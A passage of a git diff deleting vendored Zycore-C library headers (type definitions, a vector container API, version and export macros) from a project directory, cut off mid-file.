ZyanU32 ZyanUPointer; - typedef ZyanI32 ZyanIPointer; -# endif -# elif defined(ZYAN_GNUC) - typedef __UINT8_TYPE__ ZyanU8; - typedef __UINT16_TYPE__ ZyanU16; - typedef __UINT32_TYPE__ ZyanU32; - typedef __UINT64_TYPE__ ZyanU64; - typedef __INT8_TYPE__ ZyanI8; - typedef __INT16_TYPE__ ZyanI16; - typedef __INT32_TYPE__ ZyanI32; - typedef __INT64_TYPE__ ZyanI64; - typedef __SIZE_TYPE__ ZyanUSize; - typedef __PTRDIFF_TYPE__ ZyanISize; - typedef __UINTPTR_TYPE__ ZyanUPointer; - typedef __INTPTR_TYPE__ ZyanIPointer; -# else -# error "Unsupported compiler for no-libc mode." -# endif -#else - // If is LibC present, we use stdint types. -# include -# include - typedef uint8_t ZyanU8; - typedef uint16_t ZyanU16; - typedef uint32_t ZyanU32; - typedef uint64_t ZyanU64; - typedef int8_t ZyanI8; - typedef int16_t ZyanI16; - typedef int32_t ZyanI32; - typedef int64_t ZyanI64; - typedef size_t ZyanUSize; - typedef ptrdiff_t ZyanISize; - typedef uintptr_t ZyanUPointer; - typedef intptr_t ZyanIPointer; -#endif - -// Verify size assumptions. -ZYAN_STATIC_ASSERT(sizeof(ZyanU8 ) == 1 ); -ZYAN_STATIC_ASSERT(sizeof(ZyanU16 ) == 2 ); -ZYAN_STATIC_ASSERT(sizeof(ZyanU32 ) == 4 ); -ZYAN_STATIC_ASSERT(sizeof(ZyanU64 ) == 8 ); -ZYAN_STATIC_ASSERT(sizeof(ZyanI8 ) == 1 ); -ZYAN_STATIC_ASSERT(sizeof(ZyanI16 ) == 2 ); -ZYAN_STATIC_ASSERT(sizeof(ZyanI32 ) == 4 ); -ZYAN_STATIC_ASSERT(sizeof(ZyanI64 ) == 8 ); -ZYAN_STATIC_ASSERT(sizeof(ZyanUSize ) == sizeof(void*)); // TODO: This one is incorrect! -ZYAN_STATIC_ASSERT(sizeof(ZyanISize ) == sizeof(void*)); // TODO: This one is incorrect! -ZYAN_STATIC_ASSERT(sizeof(ZyanUPointer) == sizeof(void*)); -ZYAN_STATIC_ASSERT(sizeof(ZyanIPointer) == sizeof(void*)); - -// Verify signedness assumptions (relies on size checks above). -ZYAN_STATIC_ASSERT((ZyanI8 )-1 >> 1 < (ZyanI8 )((ZyanU8 )-1 >> 1)); -ZYAN_STATIC_ASSERT((ZyanI16)-1 >> 1 < (ZyanI16)((ZyanU16)-1 >> 1)); -ZYAN_STATIC_ASSERT((ZyanI32)-1 >> 1 < (ZyanI32)((ZyanU32)-1 >> 1)); -ZYAN_STATIC_ASSERT((ZyanI64)-1 >> 1 < (ZyanI64)((ZyanU64)-1 >> 1)); - -/* ============================================================================================== */ -/* Pointer */ -/* ============================================================================================== */ - -/** - * Defines the `ZyanVoidPointer` data-type. - */ -typedef char* ZyanVoidPointer; - -/** - * Defines the `ZyanConstVoidPointer` data-type. - */ -typedef const void* ZyanConstVoidPointer; - -#define ZYAN_NULL ((void*)0) - -/* ============================================================================================== */ -/* Logic types */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Boolean */ -/* ---------------------------------------------------------------------------------------------- */ - -#define ZYAN_FALSE 0 -#define ZYAN_TRUE 1 - -/** - * Defines the `ZyanBool` data-type. - * - * Represents a default boolean data-type where `0` is interpreted as `false` and all other values - * as `true`. - */ -typedef ZyanU8 ZyanBool; - -/* ---------------------------------------------------------------------------------------------- */ -/* Ternary */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZyanTernary` data-type. - * - * The `ZyanTernary` is a balanced ternary type that uses three truth values indicating `true`, - * `false` and an indeterminate third value. - */ -typedef ZyanI8 ZyanTernary; - -#define ZYAN_TERNARY_FALSE (-1) -#define ZYAN_TERNARY_UNKNOWN 0x00 -#define ZYAN_TERNARY_TRUE 0x01 - -/* ============================================================================================== */ -/* String types */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* C-style strings */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZyanCharPointer` data-type. - * - * This type is most often used to represent null-terminated strings aka. C-style strings. - */ -typedef char* ZyanCharPointer; - -/** - * Defines the `ZyanConstCharPointer` data-type. - * - * This type is most often used to represent null-terminated strings aka. C-style strings. - */ -typedef const char* ZyanConstCharPointer; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#endif /* ZYCORE_TYPES_H */ diff --git a/src/Theodosius/Zycore/Vector.h b/src/Theodosius/Zycore/Vector.h deleted file mode 100644 index 47e728c..0000000 --- a/src/Theodosius/Zycore/Vector.h +++ /dev/null @@ -1,723 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Implements the vector container class. - */ - -#ifndef ZYCORE_VECTOR_H -#define ZYCORE_VECTOR_H - -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Constants */ -/* ============================================================================================== */ - -/** - * The initial minimum capacity (number of elements) for all dynamically allocated vector - * instances. - */ -#define ZYAN_VECTOR_MIN_CAPACITY 1 - -/** - * The default growth factor for all vector instances. - */ -#define ZYAN_VECTOR_DEFAULT_GROWTH_FACTOR 2.00f - -/** - * The default shrink threshold for all vector instances. - */ -#define ZYAN_VECTOR_DEFAULT_SHRINK_THRESHOLD 0.25f - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/** - * Defines the `ZyanVector` struct. - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - */ -typedef struct ZyanVector_ -{ - /** - * The memory allocator. - */ - ZyanAllocator* allocator; - /** - * The growth factor. - */ - float growth_factor; - /** - * The shrink threshold. - */ - float shrink_threshold; - /** - * The current number of elements in the vector. - */ - ZyanUSize size; - /** - * The maximum capacity (number of elements). - */ - ZyanUSize capacity; - /** - * The size of a single element in bytes. - */ - ZyanUSize element_size; - /** - * The element destructor callback. - */ - ZyanMemberProcedure destructor; - /** - * The data pointer. - */ - void* data; -} ZyanVector; - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* General */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines an uninitialized `ZyanVector` instance. - */ -#define ZYAN_VECTOR_INITIALIZER \ - { \ - /* allocator */ ZYAN_NULL, \ - /* growth_factor */ 0.0f, \ - /* shrink_threshold */ 0.0f, \ - /* size */ 0, \ - /* capacity */ 0, \ - /* element_size */ 0, \ - /* destructor */ ZYAN_NULL, \ - /* data */ ZYAN_NULL \ - } - -/* ---------------------------------------------------------------------------------------------- */ -/* Helper macros */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the value of the element at the given `index`. - * - * @param type The desired value type. - * @param vector A pointer to the `ZyanVector` instance. - * @param index The element index. - * - * @result The value of the desired element in the vector. - * - * Note that this function is unsafe and might dereference a null-pointer. - */ -#ifdef __cplusplus -#define ZYAN_VECTOR_GET(type, vector, index) \ - (*reinterpret_cast(ZyanVectorGet(vector, index))) -#else -#define ZYAN_VECTOR_GET(type, vector, index) \ - (*(const type*)ZyanVectorGet(vector, index)) -#endif - -/** - * Loops through all elements of the vector. - * - * @param type The desired value type. - * @param vector A pointer to the `ZyanVector` instance. - * @param item_name The name of the iterator item. - * @param body The body to execute for each item in the vector. - */ -#define ZYAN_VECTOR_FOREACH(type, vector, item_name, body) \ - { \ - const ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name) = (vector)->size; \ - for (ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) = 0; \ - ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) < \ - ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name); \ - ++ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)) \ - { \ - const type item_name = ZYAN_VECTOR_GET(type, vector, \ - ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)); \ - body \ - } \ - } - -/** - * Loops through all elements of the vector. - * - * @param type The desired value type. - * @param vector A pointer to the `ZyanVector` instance. - * @param item_name The name of the iterator item. - * @param body The body to execute for each item in the vector. - */ -#define ZYAN_VECTOR_FOREACH_MUTABLE(type, vector, item_name, body) \ - { \ - const ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name) = (vector)->size; \ - for (ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) = 0; \ - ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) < \ - ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name); \ - ++ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)) \ - { \ - type* const item_name = ZyanVectorGetMutable(vector, \ - ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)); \ - body \ - } \ - } - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Constructor and destructor */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYAN_NO_LIBC - -/** - * Initializes the given `ZyanVector` instance. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param element_size The size of a single element in bytes. - * @param capacity The initial capacity (number of elements). - * @param destructor A destructor callback that is invoked every time an item is deleted, or - * `ZYAN_NULL` if not needed. - * - * @return A zyan status code. - * - * The memory for the vector elements is dynamically allocated by the default allocator using the - * default growth factor of `2.0f` and the default shrink threshold of `0.25f`. - * - * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. - */ -ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanVectorInit(ZyanVector* vector, - ZyanUSize element_size, ZyanUSize capacity, ZyanMemberProcedure destructor); - -#endif // ZYAN_NO_LIBC - -/** - * Initializes the given `ZyanVector` instance and sets a custom `allocator` and memory - * allocation/deallocation parameters. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param element_size The size of a single element in bytes. - * @param capacity The initial capacity (number of elements). - * @param destructor A destructor callback that is invoked every time an item is deleted, - * or `ZYAN_NULL` if not needed. - * @param allocator A pointer to a `ZyanAllocator` instance. - * @param growth_factor The growth factor (from `1.0f` to `x.xf`). - * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). - * - * @return A zyan status code. - * - * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables - * dynamic shrinking. - * - * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorInitEx(ZyanVector* vector, ZyanUSize element_size, - ZyanUSize capacity, ZyanMemberProcedure destructor, ZyanAllocator* allocator, - float growth_factor, float shrink_threshold); - -/** - * Initializes the given `ZyanVector` instance and configures it to use a custom user - * defined buffer with a fixed size. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param element_size The size of a single element in bytes. - * @param buffer A pointer to the buffer that is used as storage for the elements. - * @param capacity The maximum capacity (number of elements) of the buffer. - * @param destructor A destructor callback that is invoked every time an item is deleted, or - * `ZYAN_NULL` if not needed. - * - * @return A zyan status code. - * - * Finalization is not required for instances created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorInitCustomBuffer(ZyanVector* vector, ZyanUSize element_size, - void* buffer, ZyanUSize capacity, ZyanMemberProcedure destructor); - -/** - * Destroys the given `ZyanVector` instance. - * - * @param vector A pointer to the `ZyanVector` instance.. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorDestroy(ZyanVector* vector); - -/* ---------------------------------------------------------------------------------------------- */ -/* Duplication */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYAN_NO_LIBC - -/** - * Initializes a new `ZyanVector` instance by duplicating an existing vector. - * - * @param destination A pointer to the (uninitialized) destination `ZyanVector` instance. - * @param source A pointer to the source vector. - * @param capacity The initial capacity (number of elements). - * - * This value is automatically adjusted to the size of the source vector, if - * a smaller value was passed. - * - * @return A zyan status code. - * - * The memory for the vector is dynamically allocated by the default allocator using the default - * growth factor of `2.0f` and the default shrink threshold of `0.25f`. - * - * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. - */ -ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanVectorDuplicate(ZyanVector* destination, - const ZyanVector* source, ZyanUSize capacity); - -#endif // ZYAN_NO_LIBC - -/** - * Initializes a new `ZyanVector` instance by duplicating an existing vector and sets a - * custom `allocator` and memory allocation/deallocation parameters. - * - * @param destination A pointer to the (uninitialized) destination `ZyanVector` instance. - * @param source A pointer to the source vector. - * @param capacity The initial capacity (number of elements). - - * This value is automatically adjusted to the size of the source - * vector, if a smaller value was passed. - * @param allocator A pointer to a `ZyanAllocator` instance. - * @param growth_factor The growth factor (from `1.0f` to `x.xf`). - * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). - * - * @return A zyan status code. - * - * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables - * dynamic shrinking. - * - * Finalization with `ZyanVectorDestroy` is required for all instances created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorDuplicateEx(ZyanVector* destination, const ZyanVector* source, - ZyanUSize capacity, ZyanAllocator* allocator, float growth_factor, float shrink_threshold); - -/** - * Initializes a new `ZyanVector` instance by duplicating an existing vector and - * configures it to use a custom user defined buffer with a fixed size. - * - * @param destination A pointer to the (uninitialized) destination `ZyanVector` instance. - * @param source A pointer to the source vector. - * @param buffer A pointer to the buffer that is used as storage for the elements. - * @param capacity The maximum capacity (number of elements) of the buffer. - - * This function will fail, if the capacity of the buffer is less than the - * size of the source vector. - * - * @return A zyan status code. - * - * Finalization is not required for instances created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorDuplicateCustomBuffer(ZyanVector* destination, - const ZyanVector* source, void* buffer, ZyanUSize capacity); - -/* ---------------------------------------------------------------------------------------------- */ -/* Element access */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns a constant pointer to the element at the given `index`. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index The element index. - * - * @return A constant pointer to the desired element in the vector or `ZYAN_NULL`, if an error - * occured. - * - * Note that the returned pointer might get invalid when the vector is resized by either a manual - * call to the memory-management functions or implicitly by inserting or removing elements. - * - * Take a look at `ZyanVectorGetPointer` instead, if you need a function that returns a zyan status - * code. - */ -ZYCORE_EXPORT const void* ZyanVectorGet(const ZyanVector* vector, ZyanUSize index); - -/** - * Returns a mutable pointer to the element at the given `index`. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index The element index. - * - * @return A mutable pointer to the desired element in the vector or `ZYAN_NULL`, if an error - * occured. - * - * Note that the returned pointer might get invalid when the vector is resized by either a manual - * call to the memory-management functions or implicitly by inserting or removing elements. - * - * Take a look at `ZyanVectorGetPointerMutable` instead, if you need a function that returns a - * zyan status code. - */ -ZYCORE_EXPORT void* ZyanVectorGetMutable(const ZyanVector* vector, ZyanUSize index); - -/** - * Returns a constant pointer to the element at the given `index`. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index The element index. - * @param value Receives a constant pointer to the desired element in the vector. - * - * Note that the returned pointer might get invalid when the vector is resized by either a manual - * call to the memory-management functions or implicitly by inserting or removing elements. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorGetPointer(const ZyanVector* vector, ZyanUSize index, - const void** value); - -/** - * Returns a mutable pointer to the element at the given `index`. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index The element index. - * @param value Receives a mutable pointer to the desired element in the vector. - * - * Note that the returned pointer might get invalid when the vector is resized by either a manual - * call to the memory-management functions or implicitly by inserting or removing elements. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorGetPointerMutable(const ZyanVector* vector, ZyanUSize index, - void** value); - -/** - * Assigns a new value to the element at the given `index`. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index The value index. - * @param value The value to assign. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorSet(ZyanVector* vector, ZyanUSize index, - const void* value); - -/* ---------------------------------------------------------------------------------------------- */ -/* Insertion */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Adds a new `element` to the end of the vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param element A pointer to the element to add. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorPushBack(ZyanVector* vector, const void* element); - -/** - * Inserts an `element` at the given `index` of the vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index The insert index. - * @param element A pointer to the element to insert. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorInsert(ZyanVector* vector, ZyanUSize index, - const void* element); - -/** - * Inserts multiple `elements` at the given `index` of the vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index The insert index. - * @param elements A pointer to the first element. - * @param count The number of elements to insert. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorInsertRange(ZyanVector* vector, ZyanUSize index, - const void* elements, ZyanUSize count); - -/** - * Constructs an `element` in-place at the end of the vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param element Receives a pointer to the new element. - * @param constructor The constructor callback or `ZYAN_NULL`. The new element will be in - * undefined state, if no constructor was passed. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorEmplace(ZyanVector* vector, void** element, - ZyanMemberFunction constructor); - -/** - * Constructs an `element` in-place and inserts it at the given `index` of the vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index The insert index. - * @param element Receives a pointer to the new element. - * @param constructor The constructor callback or `ZYAN_NULL`. The new element will be in - * undefined state, if no constructor was passed. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorEmplaceEx(ZyanVector* vector, ZyanUSize index, - void** element, ZyanMemberFunction constructor); - -/* ---------------------------------------------------------------------------------------------- */ -/* Utils */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Swaps the element at `index_first` with the element at `index_second`. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index_first The index of the first element. - * @param index_second The index of the second element. - * - * @return A zyan status code. - * - * This function requires the vector to have spare capacity for one temporary element. Call - * `ZyanVectorReserve` before this function to increase capacity, if needed. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorSwapElements(ZyanVector* vector, ZyanUSize index_first, - ZyanUSize index_second); - -/* ---------------------------------------------------------------------------------------------- */ -/* Deletion */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Deletes the element at the given `index` of the vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index The element index. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorDelete(ZyanVector* vector, ZyanUSize index); - -/** - * Deletes multiple elements from the given vector, starting at `index`. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param index The index of the first element to delete. - * @param count The number of elements to delete. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorDeleteRange(ZyanVector* vector, ZyanUSize index, - ZyanUSize count); - -/** - * Removes the last element of the vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorPopBack(ZyanVector* vector); - -/** - * Erases all elements of the given vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorClear(ZyanVector* vector); - -/* ---------------------------------------------------------------------------------------------- */ -/* Searching */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Sequentially searches for the first occurrence of `element` in the given vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param element A pointer to the element to search for. - * @param found_index A pointer to a variable that receives the index of the found element. - * @param comparison The comparison function to use. - * - * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic - * zyan status code if an error occured. - * - * The `found_index` is set to `-1`, if the element was not found. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorFind(const ZyanVector* vector, const void* element, - ZyanISize* found_index, ZyanEqualityComparison comparison); - -/** - * Sequentially searches for the first occurrence of `element` in the given vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param element A pointer to the element to search for. - * @param found_index A pointer to a variable that receives the index of the found element. - * @param comparison The comparison function to use. - * @param index The start index. - * @param count The maximum number of elements to iterate, beginning from the start `index`. - * - * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic - * zyan status code if an error occured. - * - * The `found_index` is set to `-1`, if the element was not found. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorFindEx(const ZyanVector* vector, const void* element, - ZyanISize* found_index, ZyanEqualityComparison comparison, ZyanUSize index, ZyanUSize count); - -/** - * Searches for the first occurrence of `element` in the given vector using a binary- - * search algorithm. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param element A pointer to the element to search for. - * @param found_index A pointer to a variable that receives the index of the found element. - * @param comparison The comparison function to use. - * - * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic - * zyan status code if an error occured. - * - * If found, `found_index` contains the zero-based index of `element`. If not found, `found_index` - * contains the index of the first entry larger than `element`. - * - * This function requires all elements in the vector to be strictly ordered (sorted). - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorBinarySearch(const ZyanVector* vector, const void* element, - ZyanUSize* found_index, ZyanComparison comparison); - -/** - * Searches for the first occurrence of `element` in the given vector using a binary- - * search algorithm. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param element A pointer to the element to search for. - * @param found_index A pointer to a variable that receives the index of the found element. - * @param comparison The comparison function to use. - * @param index The start index. - * @param count The maximum number of elements to iterate, beginning from the start `index`. - * - * @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic - * zyan status code if an error occured. - * - * If found, `found_index` contains the zero-based index of `element`. If not found, `found_index` - * contains the index of the first entry larger than `element`. - * - * This function requires all elements in the vector to be strictly ordered (sorted). - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorBinarySearchEx(const ZyanVector* vector, const void* element, - ZyanUSize* found_index, ZyanComparison comparison, ZyanUSize index, ZyanUSize count); - -/* ---------------------------------------------------------------------------------------------- */ -/* Memory management */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Resizes the given `ZyanVector` instance. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param size The new size of the vector. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorResize(ZyanVector* vector, ZyanUSize size); - -/** - * Resizes the given `ZyanVector` instance. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param size The new size of the vector. - * @param initializer A pointer to a value to be used as initializer for new items. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorResizeEx(ZyanVector* vector, ZyanUSize size, - const void* initializer); - -/** - * Changes the capacity of the given `ZyanVector` instance. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param capacity The new minimum capacity of the vector. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorReserve(ZyanVector* vector, ZyanUSize capacity); - -/** - * Shrinks the capacity of the given vector to match it's size. - * - * @param vector A pointer to the `ZyanVector` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorShrinkToFit(ZyanVector* vector); - -/* ---------------------------------------------------------------------------------------------- */ -/* Information */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the current capacity of the vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param capacity Receives the size of the vector. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorGetCapacity(const ZyanVector* vector, ZyanUSize* capacity); - -/** - * Returns the current size of the vector. - * - * @param vector A pointer to the `ZyanVector` instance. - * @param size Receives the size of the vector. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanVectorGetSize(const ZyanVector* vector, ZyanUSize* size); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYCORE_VECTOR_H */ diff --git a/src/Theodosius/Zycore/Zycore.h b/src/Theodosius/Zycore/Zycore.h deleted file mode 100644 index e136acf..0000000 --- a/src/Theodosius/Zycore/Zycore.h +++ /dev/null @@ -1,111 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zycore-C) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Master include file, including everything else. - */ - -#ifndef ZYCORE_H -#define ZYCORE_H - -#include -#include - -// TODO: - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Constants */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * A macro that defines the zycore version. - */ -#define ZYCORE_VERSION (ZyanU64)0x0001000000000000 - -/* ---------------------------------------------------------------------------------------------- */ -/* Helper macros */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Extracts the major-part of the zycore version. - * - * @param version The zycore version value - */ -#define ZYCORE_VERSION_MAJOR(version) (ZyanU16)((version & 0xFFFF000000000000) >> 48) - -/** - * Extracts the minor-part of the zycore version. - * - * @param version The zycore version value - */ -#define ZYCORE_VERSION_MINOR(version) (ZyanU16)((version & 0x0000FFFF00000000) >> 32) - -/** - * Extracts the patch-part of the zycore version. - * - * @param version The zycore version value - */ -#define ZYCORE_VERSION_PATCH(version) (ZyanU16)((version & 0x00000000FFFF0000) >> 16) - -/** - * Extracts the build-part of the zycore version. - * - * @param version The zycore version value - */ -#define ZYCORE_VERSION_BUILD(version) (ZyanU16)(version & 0x000000000000FFFF) - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/** - * Returns the zycore version. - * - * @return The zycore version. - * - * Use the macros provided in this file to extract the major, minor, patch and build part from the - * returned version value. - */ -ZYCORE_EXPORT ZyanU64 ZycoreGetVersion(void); - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYCORE_H */ diff --git a/src/Theodosius/ZycoreExportConfig.h b/src/Theodosius/ZycoreExportConfig.h deleted file mode 100644 index f050d37..0000000 --- a/src/Theodosius/ZycoreExportConfig.h +++ /dev/null @@ -1,42 +0,0 @@ - -#ifndef ZYCORE_EXPORT_H -#define ZYCORE_EXPORT_H - -#ifdef ZYCORE_STATIC_DEFINE -# define ZYCORE_EXPORT -# define ZYCORE_NO_EXPORT -#else -# ifndef ZYCORE_EXPORT -# ifdef Zycore_EXPORTS - /* We are building this library */ -# define ZYCORE_EXPORT __declspec(dllexport) -# else - /* We are using this library */ -# define ZYCORE_EXPORT __declspec(dllimport) -# endif -# endif - -# ifndef ZYCORE_NO_EXPORT -# define ZYCORE_NO_EXPORT -# endif -#endif - -#ifndef ZYCORE_DEPRECATED -# define ZYCORE_DEPRECATED __declspec(deprecated) -#endif - -#ifndef ZYCORE_DEPRECATED_EXPORT -# define ZYCORE_DEPRECATED_EXPORT ZYCORE_EXPORT ZYCORE_DEPRECATED -#endif - -#ifndef ZYCORE_DEPRECATED_NO_EXPORT -# define ZYCORE_DEPRECATED_NO_EXPORT ZYCORE_NO_EXPORT ZYCORE_DEPRECATED -#endif - -#if 0 /* DEFINE_NO_DEPRECATED */ -# ifndef 